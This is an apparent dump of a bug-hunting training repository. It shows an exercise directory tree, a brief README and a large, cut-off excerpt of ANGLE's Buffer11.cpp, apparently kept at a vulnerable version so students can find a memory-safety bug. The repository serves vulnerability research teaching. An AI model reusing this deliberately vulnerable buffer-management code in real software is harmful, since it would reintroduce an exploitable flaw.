Repository: StarCrossPortal/bug-hunting-101 Branch: master Commit: c86d7f11ac7f Files: 63 Total size: 1.4 MB Directory structure: gitextract_pvp47mds/ ├── LEVEL_1/ │ ├── README.md │ ├── exercise_1/ │ │ ├── Buffer11.cpp │ │ ├── README.md │ │ └── poc.html │ ├── exercise_2/ │ │ ├── README.md │ │ └── VertexArray11.cpp │ ├── exercise_3/ │ │ ├── IndexDataManager.cpp │ │ ├── README.md │ │ └── poc.html │ ├── exercise_4/ │ │ ├── README.md │ │ └── mac_scrollbar_animator_impl.mm │ ├── exercise_5/ │ │ ├── README.md │ │ ├── css_interpolation_types_map.cc │ │ └── poc.html │ ├── exercise_6/ │ │ ├── README.md │ │ ├── animatable.cc │ │ ├── effect_input.cc │ │ ├── keyframe_effect.cc │ │ └── poc.html │ └── exercise_7/ │ ├── README.md │ ├── marker.cc │ └── marking-state.h ├── LEVEL_2/ │ ├── README.md │ ├── exercise_1/ │ │ ├── README.md │ │ └── text_searcher_icu.cc │ ├── exercise_2/ │ │ ├── README.md │ │ └── visible_units.cc │ ├── exercise_3/ │ │ ├── README.md │ │ ├── deflate_transformer.cc │ │ └── inflate_transformer.cc │ ├── exercise_4/ │ │ ├── README.md │ │ └── tab_strip_model.cc │ ├── exercise_5/ │ │ ├── README.md │ │ ├── tab_drag_controller.cc │ │ ├── tab_drag_controller.h │ │ ├── tab_strip_model.cc │ │ └── tab_strip_model.h │ ├── exercise_6/ │ │ ├── README.md │ │ └── pdfium_page.cc │ └── exercise_7/ │ ├── README.md │ └── webgl_rendering_context_base.cc ├── LEVEL_3/ │ ├── README.md │ ├── exercise_1/ │ │ ├── README.md │ │ ├── navigation_predictor.cc │ │ └── navigation_predictor.h │ ├── exercise_2/ │ │ ├── README.md │ │ ├── representation-change.cc │ │ └── representation-change.h │ ├── exercise_3/ │ │ ├── README.md │ │ ├── node_channel.cc │ │ ├── node_channel.h │ │ └── user_message_impl.cc │ ├── exercise_4/ │ │ ├── README.md │ │ └── receiver_set.h │ ├── exercise_5/ │ │ ├── README.md │ │ └── page_handler.cc │ ├── exercise_6/ │ │ ├── README.md │ │ ├── ipc_message_pipe_reader.cc │ │ ├── pickle.cc │ │ └── pickle.h │ └── exercise_7/ │ └── README.md ├── README.md └── Template.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: LEVEL_1/README.md ================================================ # LEVEL 1 I will collect some related code and useful descriptions, in order to provide all your demands. But if you feel these not enough, you need to search yourself. Find the bug yourself, and if you feel difficult can see tips or the answer. I believe you can do better than me. ================================================ FILE: LEVEL_1/exercise_1/Buffer11.cpp ================================================ // // Copyright 2014 The ANGLE Project Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // // Buffer11.cpp Defines the Buffer11 class. #include "libANGLE/renderer/d3d/d3d11/Buffer11.h" #include #include "common/MemoryBuffer.h" #include "libANGLE/Context.h" #include "libANGLE/renderer/d3d/IndexDataManager.h" #include "libANGLE/renderer/d3d/VertexDataManager.h" #include "libANGLE/renderer/d3d/d3d11/Context11.h" #include "libANGLE/renderer/d3d/d3d11/RenderTarget11.h" #include "libANGLE/renderer/d3d/d3d11/Renderer11.h" #include "libANGLE/renderer/d3d/d3d11/formatutils11.h" #include "libANGLE/renderer/d3d/d3d11/renderer11_utils.h" #include "libANGLE/renderer/renderer_utils.h" namespace rx { namespace { template GLuint ReadIndexValueFromIndices(const uint8_t *data, size_t index) { return reinterpret_cast(data)[index]; } typedef GLuint (*ReadIndexValueFunction)(const uint8_t *data, size_t index); enum class CopyResult { RECREATED, NOT_RECREATED, }; void CalculateConstantBufferParams(GLintptr offset, GLsizeiptr size, UINT *outFirstConstant, UINT *outNumConstants) { // The offset must be aligned to 256 bytes (should have been enforced by glBindBufferRange). ASSERT(offset % 256 == 0); // firstConstant and numConstants are expressed in constants of 16-bytes. Furthermore they must // be a multiple of 16 constants. *outFirstConstant = static_cast(offset / 16); // The GL size is not required to be aligned to a 256 bytes boundary. // Round the size up to a 256 bytes boundary then express the results in constants of 16-bytes. *outNumConstants = static_cast(rx::roundUp(size, static_cast(256)) / 16); // Since the size is rounded up, firstConstant + numConstants may be bigger than the actual size // of the buffer. This behaviour is explictly allowed according to the documentation on // ID3D11DeviceContext1::PSSetConstantBuffers1 // https://msdn.microsoft.com/en-us/library/windows/desktop/hh404649%28v=vs.85%29.aspx } } // anonymous namespace namespace gl_d3d11 { D3D11_MAP GetD3DMapTypeFromBits(BufferUsage usage, GLbitfield access) { bool readBit = ((access & GL_MAP_READ_BIT) != 0); bool writeBit = ((access & GL_MAP_WRITE_BIT) != 0); ASSERT(readBit || writeBit); // Note : we ignore the discard bit, because in D3D11, staging buffers // don't accept the map-discard flag (discard only works for DYNAMIC usage) if (readBit && !writeBit) { return D3D11_MAP_READ; } else if (writeBit && !readBit) { // Special case for uniform storage - we only allow full buffer updates. return usage == BUFFER_USAGE_UNIFORM || usage == BUFFER_USAGE_STRUCTURED ? D3D11_MAP_WRITE_DISCARD : D3D11_MAP_WRITE; } else if (writeBit && readBit) { return D3D11_MAP_READ_WRITE; } else { UNREACHABLE(); return D3D11_MAP_READ; } } } // namespace gl_d3d11 // Each instance of Buffer11::BufferStorage is specialized for a class of D3D binding points // - vertex/transform feedback buffers // - index buffers // - pixel unpack buffers // - uniform buffers class Buffer11::BufferStorage : angle::NonCopyable { public: virtual ~BufferStorage() {} DataRevision getDataRevision() const { return mRevision; } BufferUsage getUsage() const { return mUsage; } size_t getSize() const { return mBufferSize; } void setDataRevision(DataRevision rev) { mRevision = rev; } virtual bool isCPUAccessible(GLbitfield access) const = 0; virtual bool isGPUAccessible() const = 0; virtual angle::Result copyFromStorage(const gl::Context *context, BufferStorage *source, size_t sourceOffset, size_t size, size_t destOffset, CopyResult *resultOut) = 0; virtual angle::Result resize(const gl::Context *context, size_t size, bool preserveData) = 0; virtual angle::Result map(const gl::Context *context, size_t offset, size_t length, GLbitfield access, uint8_t **mapPointerOut) = 0; virtual void unmap() = 0; angle::Result setData(const gl::Context *context, const uint8_t *data, size_t offset, size_t size); void setStructureByteStride(unsigned int structureByteStride); protected: BufferStorage(Renderer11 *renderer, BufferUsage usage); Renderer11 *mRenderer; DataRevision mRevision; const BufferUsage mUsage; size_t mBufferSize; }; // A native buffer storage represents an underlying D3D11 buffer for a particular // type of storage. class Buffer11::NativeStorage : public Buffer11::BufferStorage { public: NativeStorage(Renderer11 *renderer, BufferUsage usage, const angle::Subject *onStorageChanged); ~NativeStorage() override; bool isCPUAccessible(GLbitfield access) const override; bool isGPUAccessible() const override { return true; } const d3d11::Buffer &getBuffer() const { return mBuffer; } angle::Result copyFromStorage(const gl::Context *context, BufferStorage *source, size_t sourceOffset, size_t size, size_t destOffset, CopyResult *resultOut) override; angle::Result resize(const gl::Context *context, size_t size, bool preserveData) override; angle::Result map(const gl::Context *context, size_t offset, size_t length, GLbitfield access, uint8_t **mapPointerOut) override; void unmap() override; angle::Result getSRVForFormat(const gl::Context *context, DXGI_FORMAT srvFormat, const d3d11::ShaderResourceView **srvOut); angle::Result getRawUAV(const gl::Context *context, unsigned int offset, unsigned int size, d3d11::UnorderedAccessView **uavOut); protected: d3d11::Buffer mBuffer; const angle::Subject *mOnStorageChanged; private: static void FillBufferDesc(D3D11_BUFFER_DESC *bufferDesc, Renderer11 *renderer, BufferUsage usage, unsigned int bufferSize); void clearSRVs(); void clearUAVs(); std::map mBufferResourceViews; std::map, d3d11::UnorderedAccessView> mBufferRawUAVs; }; class Buffer11::StructuredBufferStorage : public Buffer11::NativeStorage { public: StructuredBufferStorage(Renderer11 *renderer, BufferUsage usage, const angle::Subject *onStorageChanged); ~StructuredBufferStorage() override; angle::Result resizeStructuredBuffer(const gl::Context *context, unsigned int size, unsigned int structureByteStride); angle::Result getStructuredBufferRangeSRV(const gl::Context *context, unsigned int offset, unsigned int size, unsigned int structureByteStride, const d3d11::ShaderResourceView **bufferOut); private: d3d11::ShaderResourceView mStructuredBufferResourceView; }; // A emulated indexed buffer storage represents an underlying D3D11 buffer for data // that has been expanded to match the indices list used. This storage is only // used for FL9_3 pointsprite rendering emulation. class Buffer11::EmulatedIndexedStorage : public Buffer11::BufferStorage { public: EmulatedIndexedStorage(Renderer11 *renderer); ~EmulatedIndexedStorage() override; bool isCPUAccessible(GLbitfield access) const override { return true; } bool isGPUAccessible() const override { return false; } angle::Result getBuffer(const gl::Context *context, SourceIndexData *indexInfo, const TranslatedAttribute &attribute, GLint startVertex, const d3d11::Buffer **bufferOut); angle::Result copyFromStorage(const gl::Context *context, BufferStorage *source, size_t sourceOffset, size_t size, size_t destOffset, CopyResult *resultOut) override; angle::Result resize(const gl::Context *context, size_t size, bool preserveData) override; angle::Result map(const gl::Context *context, size_t offset, size_t length, GLbitfield access, uint8_t **mapPointerOut) override; void unmap() override; private: d3d11::Buffer mBuffer; // contains expanded data for use by D3D angle::MemoryBuffer mMemoryBuffer; // original data (not expanded) angle::MemoryBuffer mIndicesMemoryBuffer; // indices data }; // Pack storage represents internal storage for pack buffers. We implement pack buffers // as CPU memory, tied to a staging texture, for asynchronous texture readback. class Buffer11::PackStorage : public Buffer11::BufferStorage { public: explicit PackStorage(Renderer11 *renderer); ~PackStorage() override; bool isCPUAccessible(GLbitfield access) const override { return true; } bool isGPUAccessible() const override { return false; } angle::Result copyFromStorage(const gl::Context *context, BufferStorage *source, size_t sourceOffset, size_t size, size_t destOffset, CopyResult *resultOut) override; angle::Result resize(const gl::Context *context, size_t size, bool preserveData) override; angle::Result map(const gl::Context *context, size_t offset, size_t length, GLbitfield access, uint8_t **mapPointerOut) override; void unmap() override; angle::Result packPixels(const gl::Context *context, const gl::FramebufferAttachment &readAttachment, const PackPixelsParams ¶ms); private: angle::Result flushQueuedPackCommand(const gl::Context *context); TextureHelper11 mStagingTexture; angle::MemoryBuffer mMemoryBuffer; std::unique_ptr mQueuedPackCommand; PackPixelsParams mPackParams; bool mDataModified; }; // System memory storage stores a CPU memory buffer with our buffer data. // For dynamic data, it's much faster to update the CPU memory buffer than // it is to update a D3D staging buffer and read it back later. class Buffer11::SystemMemoryStorage : public Buffer11::BufferStorage { public: explicit SystemMemoryStorage(Renderer11 *renderer); ~SystemMemoryStorage() override {} bool isCPUAccessible(GLbitfield access) const override { return true; } bool isGPUAccessible() const override { return false; } angle::Result copyFromStorage(const gl::Context *context, BufferStorage *source, size_t sourceOffset, size_t size, size_t destOffset, CopyResult *resultOut) override; angle::Result resize(const gl::Context *context, size_t size, bool preserveData) override; angle::Result map(const gl::Context *context, size_t offset, size_t length, GLbitfield access, uint8_t **mapPointerOut) override; void unmap() override; angle::MemoryBuffer *getSystemCopy() { return &mSystemCopy; } protected: angle::MemoryBuffer mSystemCopy; }; Buffer11::Buffer11(const gl::BufferState &state, Renderer11 *renderer) : BufferD3D(state, renderer), mRenderer(renderer), mSize(0), mMappedStorage(nullptr), mBufferStorages({}), mLatestBufferStorage(nullptr), mDeallocThresholds({}), mIdleness({}), mConstantBufferStorageAdditionalSize(0), mMaxConstantBufferLruCount(0), mStructuredBufferStorageAdditionalSize(0), mMaxStructuredBufferLruCount(0) {} Buffer11::~Buffer11() { for (BufferStorage *&storage : mBufferStorages) { SafeDelete(storage); } for (auto &p : mConstantBufferRangeStoragesCache) { SafeDelete(p.second.storage); } for (auto &p : mStructuredBufferRangeStoragesCache) { SafeDelete(p.second.storage); } mRenderer->onBufferDelete(this); } angle::Result Buffer11::setData(const gl::Context *context, gl::BufferBinding target, const void *data, size_t size, gl::BufferUsage usage) { updateD3DBufferUsage(context, usage); return setSubData(context, target, data, size, 0); } angle::Result Buffer11::getData(const gl::Context *context, const uint8_t **outData) { if (mSize == 0) { // TODO(http://anglebug.com/2840): This ensures that we don't crash or assert in robust // buffer access behavior mode if there are buffers without any data. However, technically // it should still be possible to draw, with fetches from this buffer returning zero. return angle::Result::Stop; } SystemMemoryStorage *systemMemoryStorage = nullptr; ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &systemMemoryStorage)); ASSERT(systemMemoryStorage->getSize() >= mSize); *outData = systemMemoryStorage->getSystemCopy()->data(); return angle::Result::Continue; } angle::Result Buffer11::setSubData(const gl::Context *context, gl::BufferBinding target, const void *data, size_t size, size_t offset) { size_t requiredSize = size + offset; if (data && size > 0) { // Use system memory storage for dynamic buffers. // Try using a constant storage for constant buffers BufferStorage *writeBuffer = nullptr; if (target == gl::BufferBinding::Uniform) { // If we are a very large uniform buffer, keep system memory storage around so that we // aren't forced to read back from a constant buffer. We also check the workaround for // Intel - this requires us to use system memory so we don't end up having to copy from // a constant buffer to a staging buffer. // TODO(jmadill): Use Context caps. if (offset == 0 && size >= mSize && size <= static_cast(mRenderer->getNativeCaps().maxUniformBlockSize) && !mRenderer->getFeatures().useSystemMemoryForConstantBuffers.enabled) { BufferStorage *latestStorage = nullptr; ANGLE_TRY(getLatestBufferStorage(context, &latestStorage)); if (latestStorage && (latestStorage->getUsage() == BUFFER_USAGE_STRUCTURED)) { ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_STRUCTURED, &writeBuffer)); } else { ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_UNIFORM, &writeBuffer)); } } else { ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &writeBuffer)); } } else if (supportsDirectBinding()) { ANGLE_TRY(getStagingStorage(context, &writeBuffer)); } else { ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &writeBuffer)); } ASSERT(writeBuffer); // Explicitly resize the staging buffer, preserving data if the new data will not // completely fill the buffer if (writeBuffer->getSize() < requiredSize) { bool preserveData = (offset > 0); ANGLE_TRY(writeBuffer->resize(context, requiredSize, preserveData)); } ANGLE_TRY(writeBuffer->setData(context, static_cast(data), offset, size)); onStorageUpdate(writeBuffer); } mSize = std::max(mSize, requiredSize); invalidateStaticData(context); return angle::Result::Continue; } angle::Result Buffer11::copySubData(const gl::Context *context, BufferImpl *source, GLintptr sourceOffset, GLintptr destOffset, GLsizeiptr size) { Buffer11 *sourceBuffer = GetAs(source); ASSERT(sourceBuffer != nullptr); BufferStorage *copyDest = nullptr; ANGLE_TRY(getLatestBufferStorage(context, ©Dest)); if (!copyDest) { ANGLE_TRY(getStagingStorage(context, ©Dest)); } BufferStorage *copySource = nullptr; ANGLE_TRY(sourceBuffer->getLatestBufferStorage(context, ©Source)); if (!copySource) { ANGLE_TRY(sourceBuffer->getStagingStorage(context, ©Source)); } ASSERT(copySource && copyDest); // A staging buffer is needed if there is no cpu-cpu or gpu-gpu copy path avaiable. if (!copyDest->isGPUAccessible() && !copySource->isCPUAccessible(GL_MAP_READ_BIT)) { ANGLE_TRY(sourceBuffer->getStagingStorage(context, ©Source)); } else if (!copySource->isGPUAccessible() && !copyDest->isCPUAccessible(GL_MAP_WRITE_BIT)) { ANGLE_TRY(getStagingStorage(context, ©Dest)); } // D3D11 does not allow overlapped copies until 11.1, and only if the // device supports D3D11_FEATURE_DATA_D3D11_OPTIONS::CopyWithOverlap // Get around this via a different source buffer if (copySource == copyDest) { if (copySource->getUsage() == BUFFER_USAGE_STAGING) { ANGLE_TRY( getBufferStorage(context, BUFFER_USAGE_VERTEX_OR_TRANSFORM_FEEDBACK, ©Source)); } else { ANGLE_TRY(getStagingStorage(context, ©Source)); } } CopyResult copyResult = CopyResult::NOT_RECREATED; ANGLE_TRY(copyDest->copyFromStorage(context, copySource, sourceOffset, size, destOffset, ©Result)); onStorageUpdate(copyDest); mSize = std::max(mSize, destOffset + size); invalidateStaticData(context); return angle::Result::Continue; } angle::Result Buffer11::map(const gl::Context *context, GLenum access, void **mapPtr) { // GL_OES_mapbuffer uses an enum instead of a bitfield for it's access, convert to a bitfield // and call mapRange. ASSERT(access == GL_WRITE_ONLY_OES); return mapRange(context, 0, mSize, GL_MAP_WRITE_BIT, mapPtr); } angle::Result Buffer11::mapRange(const gl::Context *context, size_t offset, size_t length, GLbitfield access, void **mapPtr) { ASSERT(!mMappedStorage); BufferStorage *latestStorage = nullptr; ANGLE_TRY(getLatestBufferStorage(context, &latestStorage)); if (latestStorage && (latestStorage->getUsage() == BUFFER_USAGE_PIXEL_PACK || latestStorage->getUsage() == BUFFER_USAGE_STAGING)) { // Latest storage is mappable. mMappedStorage = latestStorage; } else { // Fall back to using the staging buffer if the latest storage does not exist or is not // CPU-accessible. ANGLE_TRY(getStagingStorage(context, &mMappedStorage)); } Context11 *context11 = GetImplAs(context); ANGLE_CHECK_GL_ALLOC(context11, mMappedStorage); if ((access & GL_MAP_WRITE_BIT) > 0) { // Update the data revision immediately, since the data might be changed at any time onStorageUpdate(mMappedStorage); invalidateStaticData(context); } uint8_t *mappedBuffer = nullptr; ANGLE_TRY(mMappedStorage->map(context, offset, length, access, &mappedBuffer)); ASSERT(mappedBuffer); *mapPtr = static_cast(mappedBuffer); return angle::Result::Continue; } angle::Result Buffer11::unmap(const gl::Context *context, GLboolean *result) { ASSERT(mMappedStorage); mMappedStorage->unmap(); mMappedStorage = nullptr; // TODO: detect if we had corruption. if so, return false. *result = GL_TRUE; return angle::Result::Continue; } angle::Result Buffer11::markTransformFeedbackUsage(const gl::Context *context) { ANGLE_TRY(markBufferUsage(context, BUFFER_USAGE_VERTEX_OR_TRANSFORM_FEEDBACK)); return angle::Result::Continue; } void Buffer11::updateDeallocThreshold(BufferUsage usage) { // The following strategy was tuned on the Oort online benchmark (http://oortonline.gl/) // as well as a custom microbenchmark (IndexConversionPerfTest.Run/index_range_d3d11) // First readback: 8 unmodified uses before we free buffer memory. // After that, double the threshold each time until we reach the max. if (mDeallocThresholds[usage] == 0) { mDeallocThresholds[usage] = 8; } else if (mDeallocThresholds[usage] < std::numeric_limits::max() / 2u) { mDeallocThresholds[usage] *= 2u; } else { mDeallocThresholds[usage] = std::numeric_limits::max(); } } // Free the storage if we decide it isn't being used very often. angle::Result Buffer11::checkForDeallocation(const gl::Context *context, BufferUsage usage) { mIdleness[usage]++; BufferStorage *&storage = mBufferStorages[usage]; if (storage != nullptr && mIdleness[usage] > mDeallocThresholds[usage]) { BufferStorage *latestStorage = nullptr; ANGLE_TRY(getLatestBufferStorage(context, &latestStorage)); if (latestStorage != storage) { SafeDelete(storage); } } return angle::Result::Continue; } // Keep system memory when we are using it for the canonical version of data. bool Buffer11::canDeallocateSystemMemory() const { // Must keep system memory on Intel. if (mRenderer->getFeatures().useSystemMemoryForConstantBuffers.enabled) { return false; } return (!mBufferStorages[BUFFER_USAGE_UNIFORM] || mSize <= static_cast(mRenderer->getNativeCaps().maxUniformBlockSize)); } void Buffer11::markBufferUsage(BufferUsage usage) { mIdleness[usage] = 0; } angle::Result Buffer11::markBufferUsage(const gl::Context *context, BufferUsage usage) { BufferStorage *bufferStorage = nullptr; ANGLE_TRY(getBufferStorage(context, usage, &bufferStorage)); if (bufferStorage) { onStorageUpdate(bufferStorage); } invalidateStaticData(context); return angle::Result::Continue; } angle::Result Buffer11::garbageCollection(const gl::Context *context, BufferUsage currentUsage) { if (currentUsage != BUFFER_USAGE_SYSTEM_MEMORY && canDeallocateSystemMemory()) { ANGLE_TRY(checkForDeallocation(context, BUFFER_USAGE_SYSTEM_MEMORY)); } if (currentUsage != BUFFER_USAGE_STAGING) { ANGLE_TRY(checkForDeallocation(context, BUFFER_USAGE_STAGING)); } return angle::Result::Continue; } angle::Result Buffer11::getBuffer(const gl::Context *context, BufferUsage usage, ID3D11Buffer **bufferOut) { NativeStorage *storage = nullptr; ANGLE_TRY(getBufferStorage(context, usage, &storage)); *bufferOut = storage->getBuffer().get(); return angle::Result::Continue; } angle::Result Buffer11::getEmulatedIndexedBuffer(const gl::Context *context, SourceIndexData *indexInfo, const TranslatedAttribute &attribute, GLint startVertex, ID3D11Buffer **bufferOut) { ASSERT(indexInfo); EmulatedIndexedStorage *emulatedStorage = nullptr; ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_EMULATED_INDEXED_VERTEX, &emulatedStorage)); const d3d11::Buffer *nativeBuffer = nullptr; ANGLE_TRY( emulatedStorage->getBuffer(context, indexInfo, attribute, startVertex, &nativeBuffer)); *bufferOut = nativeBuffer->get(); return angle::Result::Continue; } angle::Result Buffer11::getConstantBufferRange(const gl::Context *context, GLintptr offset, GLsizeiptr size, const d3d11::Buffer **bufferOut, UINT *firstConstantOut, UINT *numConstantsOut) { NativeStorage *bufferStorage = nullptr; if ((offset == 0 && size < static_cast(mRenderer->getNativeCaps().maxUniformBlockSize)) || mRenderer->getRenderer11DeviceCaps().supportsConstantBufferOffsets) { ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_UNIFORM, &bufferStorage)); CalculateConstantBufferParams(offset, size, firstConstantOut, numConstantsOut); } else { ANGLE_TRY(getConstantBufferRangeStorage(context, offset, size, &bufferStorage)); *firstConstantOut = 0; *numConstantsOut = 0; } *bufferOut = &bufferStorage->getBuffer(); return angle::Result::Continue; } angle::Result Buffer11::markRawBufferUsage(const gl::Context *context) { ANGLE_TRY(markBufferUsage(context, BUFFER_USAGE_RAW_UAV)); return angle::Result::Continue; } angle::Result Buffer11::getRawUAVRange(const gl::Context *context, GLintptr offset, GLsizeiptr size, d3d11::UnorderedAccessView **uavOut) { NativeStorage *nativeStorage = nullptr; ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_RAW_UAV, &nativeStorage)); return nativeStorage->getRawUAV(context, static_cast(offset), static_cast(size), uavOut); } angle::Result Buffer11::getSRV(const gl::Context *context, DXGI_FORMAT srvFormat, const d3d11::ShaderResourceView **srvOut) { NativeStorage *nativeStorage = nullptr; ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_PIXEL_UNPACK, &nativeStorage)); return nativeStorage->getSRVForFormat(context, srvFormat, srvOut); } angle::Result Buffer11::packPixels(const gl::Context *context, const gl::FramebufferAttachment &readAttachment, const PackPixelsParams ¶ms) { PackStorage *packStorage = nullptr; ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_PIXEL_PACK, &packStorage)); ASSERT(packStorage); ANGLE_TRY(packStorage->packPixels(context, readAttachment, params)); onStorageUpdate(packStorage); return angle::Result::Continue; } size_t Buffer11::getTotalCPUBufferMemoryBytes() const { size_t allocationSize = 0; BufferStorage *staging = mBufferStorages[BUFFER_USAGE_STAGING]; allocationSize += staging ? staging->getSize() : 0; BufferStorage *sysMem = mBufferStorages[BUFFER_USAGE_SYSTEM_MEMORY]; allocationSize += sysMem ? sysMem->getSize() : 0; return allocationSize; } template angle::Result Buffer11::getBufferStorage(const gl::Context *context, BufferUsage usage, StorageOutT **storageOut) { ASSERT(0 <= usage && usage < BUFFER_USAGE_COUNT); BufferStorage *&newStorage = mBufferStorages[usage]; if (!newStorage) { newStorage = allocateStorage(usage); } markBufferUsage(usage); // resize buffer if (newStorage->getSize() < mSize) { ANGLE_TRY(newStorage->resize(context, mSize, true)); } ASSERT(newStorage); ANGLE_TRY(updateBufferStorage(context, newStorage, 0, mSize)); ANGLE_TRY(garbageCollection(context, usage)); *storageOut = GetAs(newStorage); return angle::Result::Continue; } Buffer11::BufferStorage *Buffer11::allocateStorage(BufferUsage usage) { updateDeallocThreshold(usage); switch (usage) { case BUFFER_USAGE_PIXEL_PACK: return new PackStorage(mRenderer); case BUFFER_USAGE_SYSTEM_MEMORY: return new SystemMemoryStorage(mRenderer); case BUFFER_USAGE_EMULATED_INDEXED_VERTEX: return new EmulatedIndexedStorage(mRenderer); case BUFFER_USAGE_INDEX: case BUFFER_USAGE_VERTEX_OR_TRANSFORM_FEEDBACK: return new NativeStorage(mRenderer, usage, this); case BUFFER_USAGE_STRUCTURED: return new StructuredBufferStorage(mRenderer, usage, nullptr); default: return new NativeStorage(mRenderer, usage, nullptr); } } angle::Result Buffer11::getConstantBufferRangeStorage(const gl::Context *context, GLintptr offset, GLsizeiptr size, Buffer11::NativeStorage **storageOut) { BufferStorage *newStorage; { // Keep the cacheEntry in a limited scope because it may be invalidated later in the code if // we need to reclaim some space. BufferCacheEntry *cacheEntry = &mConstantBufferRangeStoragesCache[offset]; if (!cacheEntry->storage) { cacheEntry->storage = allocateStorage(BUFFER_USAGE_UNIFORM); cacheEntry->lruCount = ++mMaxConstantBufferLruCount; } cacheEntry->lruCount = ++mMaxConstantBufferLruCount; newStorage = cacheEntry->storage; } markBufferUsage(BUFFER_USAGE_UNIFORM); if (newStorage->getSize() < static_cast(size)) { size_t maximumAllowedAdditionalSize = 2 * getSize(); size_t sizeDelta = size - newStorage->getSize(); while (mConstantBufferStorageAdditionalSize + sizeDelta > maximumAllowedAdditionalSize) { auto iter = std::min_element( std::begin(mConstantBufferRangeStoragesCache), std::end(mConstantBufferRangeStoragesCache), [](const BufferCache::value_type &a, const BufferCache::value_type &b) { return a.second.lruCount < b.second.lruCount; }); ASSERT(iter->second.storage != newStorage); ASSERT(mConstantBufferStorageAdditionalSize >= iter->second.storage->getSize()); mConstantBufferStorageAdditionalSize -= iter->second.storage->getSize(); SafeDelete(iter->second.storage); mConstantBufferRangeStoragesCache.erase(iter); } ANGLE_TRY(newStorage->resize(context, size, false)); mConstantBufferStorageAdditionalSize += sizeDelta; // We don't copy the old data when resizing the constant buffer because the data may be // out-of-date therefore we reset the data revision and let updateBufferStorage() handle the // copy. newStorage->setDataRevision(0); } ANGLE_TRY(updateBufferStorage(context, newStorage, offset, size)); ANGLE_TRY(garbageCollection(context, BUFFER_USAGE_UNIFORM)); *storageOut = GetAs(newStorage); return angle::Result::Continue; } angle::Result Buffer11::getStructuredBufferRangeSRV(const gl::Context *context, unsigned int offset, unsigned int size, unsigned int structureByteStride, const d3d11::ShaderResourceView **srvOut) { BufferStorage *newStorage; { // Keep the cacheEntry in a limited scope because it may be invalidated later in the code if // we need to reclaim some space. StructuredBufferKey structuredBufferKey = StructuredBufferKey(offset, structureByteStride); BufferCacheEntry *cacheEntry = &mStructuredBufferRangeStoragesCache[structuredBufferKey]; if (!cacheEntry->storage) { cacheEntry->storage = allocateStorage(BUFFER_USAGE_STRUCTURED); cacheEntry->lruCount = ++mMaxStructuredBufferLruCount; } cacheEntry->lruCount = ++mMaxStructuredBufferLruCount; newStorage = cacheEntry->storage; } StructuredBufferStorage *structuredBufferStorage = GetAs(newStorage); markBufferUsage(BUFFER_USAGE_STRUCTURED); if (newStorage->getSize() < static_cast(size)) { size_t maximumAllowedAdditionalSize = 2 * getSize(); size_t sizeDelta = static_cast(size) - newStorage->getSize(); while (mStructuredBufferStorageAdditionalSize + sizeDelta > maximumAllowedAdditionalSize) { auto iter = std::min_element(std::begin(mStructuredBufferRangeStoragesCache), std::end(mStructuredBufferRangeStoragesCache), [](const StructuredBufferCache::value_type &a, const StructuredBufferCache::value_type &b) { return a.second.lruCount < b.second.lruCount; }); ASSERT(iter->second.storage != newStorage); ASSERT(mStructuredBufferStorageAdditionalSize >= iter->second.storage->getSize()); mStructuredBufferStorageAdditionalSize -= iter->second.storage->getSize(); SafeDelete(iter->second.storage); mStructuredBufferRangeStoragesCache.erase(iter); } ANGLE_TRY( structuredBufferStorage->resizeStructuredBuffer(context, size, structureByteStride)); mStructuredBufferStorageAdditionalSize += sizeDelta; // We don't copy the old data when resizing the structured buffer because the data may be // out-of-date therefore we reset the data revision and let updateBufferStorage() handle the // copy. newStorage->setDataRevision(0); } ANGLE_TRY(updateBufferStorage(context, newStorage, offset, static_cast(size))); ANGLE_TRY(garbageCollection(context, BUFFER_USAGE_STRUCTURED)); ANGLE_TRY(structuredBufferStorage->getStructuredBufferRangeSRV(context, offset, size, structureByteStride, srvOut)); return angle::Result::Continue; } angle::Result Buffer11::updateBufferStorage(const gl::Context *context, BufferStorage *storage, size_t sourceOffset, size_t storageSize) { BufferStorage *latestBuffer = nullptr; ANGLE_TRY(getLatestBufferStorage(context, &latestBuffer)); ASSERT(storage); if (!latestBuffer) { onStorageUpdate(storage); return angle::Result::Continue; } if (latestBuffer->getDataRevision() <= storage->getDataRevision()) { return angle::Result::Continue; } // Copy through a staging buffer if we're copying from or to a non-staging, mappable // buffer storage. This is because we can't map a GPU buffer, and copy CPU // data directly. If we're already using a staging buffer we're fine. if (latestBuffer->getUsage() != BUFFER_USAGE_STAGING && storage->getUsage() != BUFFER_USAGE_STAGING && (!latestBuffer->isCPUAccessible(GL_MAP_READ_BIT) || !storage->isCPUAccessible(GL_MAP_WRITE_BIT))) { NativeStorage *stagingBuffer = nullptr; ANGLE_TRY(getStagingStorage(context, &stagingBuffer)); CopyResult copyResult = CopyResult::NOT_RECREATED; ANGLE_TRY(stagingBuffer->copyFromStorage(context, latestBuffer, 0, latestBuffer->getSize(), 0, ©Result)); onCopyStorage(stagingBuffer, latestBuffer); latestBuffer = stagingBuffer; } CopyResult copyResult = CopyResult::NOT_RECREATED; ANGLE_TRY( storage->copyFromStorage(context, latestBuffer, sourceOffset, storageSize, 0, ©Result)); // If the D3D buffer has been recreated, we should update our serial. if (copyResult == CopyResult::RECREATED) { updateSerial(); } onCopyStorage(storage, latestBuffer); return angle::Result::Continue; } angle::Result Buffer11::getLatestBufferStorage(const gl::Context *context, Buffer11::BufferStorage **storageOut) const { // resize buffer if (mLatestBufferStorage && mLatestBufferStorage->getSize() < mSize) { ANGLE_TRY(mLatestBufferStorage->resize(context, mSize, true)); } *storageOut = mLatestBufferStorage; return angle::Result::Continue; } template angle::Result Buffer11::getStagingStorage(const gl::Context *context, StorageOutT **storageOut) { return getBufferStorage(context, BUFFER_USAGE_STAGING, storageOut); } size_t Buffer11::getSize() const { return mSize; } bool Buffer11::supportsDirectBinding() const { // Do not support direct buffers for dynamic data. The streaming buffer // offers better performance for data which changes every frame. return (mUsage == D3DBufferUsage::STATIC); } void 